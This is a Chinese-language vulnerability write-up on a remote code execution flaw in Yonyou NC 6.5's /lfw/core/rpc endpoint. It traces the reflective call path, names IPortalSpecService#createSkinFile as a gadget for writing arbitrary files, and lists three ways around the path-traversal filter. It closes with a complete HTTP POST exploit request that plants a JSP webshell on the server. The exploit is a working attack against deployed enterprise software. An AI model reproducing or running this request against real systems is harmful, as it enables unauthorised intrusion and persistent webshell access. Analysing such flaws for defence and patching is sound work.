用友NC65 lfw反射调用RCE

环境

nc6.5

漏洞分析

接口/lfw/core/rpc,对应hotwebs/lfw/WEB-INF/web.xml中的LfwDispatcherServletnc.uap.lfw.core.servlet.LfwDispatcherServletpubwebrt_mvcLevel-1.jar包中。

image-20240329205815244

实例化了LfwCoreController类,并调用了handleRequest方法

image-20240329214520368

调用了PresentPluginFactory.getControlPlugin(path)方法

image-20240329214637613

调用req.getPathInfo()获取到的值为rpc,创建new RpcControlPlugin()对象

image-20240329214716845

RpcControlPlugin#handle方法中,调用了RpcHelper.processJsonRequest(req, res)方法

image-20240329215100038

request中获取rpcdata参数,并创建json对象,以json对象作为参数调用call(jsonReq)方法

image-20240329215202930

call方法中,首先从json中获取rpcnamemethod参数作为类名和方法名,再循环获取params,添加到paramList中。

image-20240329215323287

获取完成后,会遍历paramList,拿到参数值,调用LfwJsonSerializer.getInstance().fromJsObject(value)方法。

1
2
3
4
5
6
7
8
9
10
for(int i = 0; i < paramCount; ++i) {
String value = (String)paramList.get(i);
paramObjs[i] = LfwJsonSerializer.getInstance().fromJsObject(value);
if (value != null && value.startsWith("$S_")) {
paramObjs[i] = ((String)paramObjs[i]).substring("$S_".length());
}
if (paramObjs[i] != null && paramObjs[i] instanceof String) {
paramObjs[i] = JsURLDecoder.decode((String)paramObjs[i], "UTF-8");
}
}

调用this.fromJSON(s)方法

image-20240329220123105

调用tok.nextValue()

image-20240329220203236

nextValue方法中,首先会调用this.nextClean()方法

image-20240329220350547

this.nextClean()中,解析value中注释区域,并将指向value的指针指向注释区域后。

image-20240329231219260

然后会判断当前所指向的value是否为" 或者 ',如果不是的话会跳过解析,直接调用this.nextString(c);,如果是的话会继续判断是{ ,会将value解析成JSONObject,是[会将value解析成JSONArray对象。

image-20240329232020980

只有是"或者'的情况下会调用this.nextString(c),参数c就是"或者',如果value"或者'包裹起来,那么就会返回被包裹的字符串。

image-20240329233127883
image-20240329233452349

后续还会判断是否以$S_开头,如果以$S_开头会截取$S_后的内容,接着会对value进行一次url解码。

image-20240329233609598

接着会以className作为参数调用ServiceLocator.getService(className)

image-20240329234251636

调用ServiceLocator.getService(className)这种方式为服务定位器模式,这种设计模式在使用JNDI加载类时,第一次加载后会对类进行缓存,第二次加载会从缓存中去加载,从而提高性能。

image-20240329234345115

指定的className为类路径,那么会在nameIndices中进行查找,最后得到一个实例化对象。

image-20240329235002949

最后并对其进行反射加载。

image-20240329235139840

反射调用利用类

nc.uap.portal.service.itf.IPortalSpecService#createSkinFile可实现任意路径下写入任意内容

image-20240329235345508

在进行使用../跨目录写入文件的时候,不会保留/关键字

image-20240330000549157

绕过的方式有三种,一个是使用反斜杠\,但是在Linux下可能会写入失败;第二种是将路径通过"、或者'包裹起来,这样就不会进入过滤点;第三种是将路径进行两次URL编码,在如上的分析中,可以发现,最后String类型的参数进行了URL解码。

漏洞复现

写入webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /lfw/core/rpc HTTP/1.1
Host: 172.20.10.19:8010
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=12B9B1724E7C71EF43C7F27E8F933A24.server; JSESSIONID=F617CD5DDE5690A2BDBFF29049945E2B.server
x-forwarded-for: 9.9.9.9
x-originating-ip: 9.9.9.9
x-remote-ip: 9.9.9.9
x-remote-addr: 9.9.9.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 28446

rpcdata={"rpcname":"nc.uap.portal.service.itf.IPortalSpecService","method":"createSkinFile","params0":"..","params1":"..","params2":"..\\..\\..\\..\\home\\webapps\\nc_web","params3":"..","params4":"hello.jsp","params5":"liang'c"}
image-20240329162239937

访问 http://172.20.10.19:8010/hello.jsp rebeyond

image-20240329162319463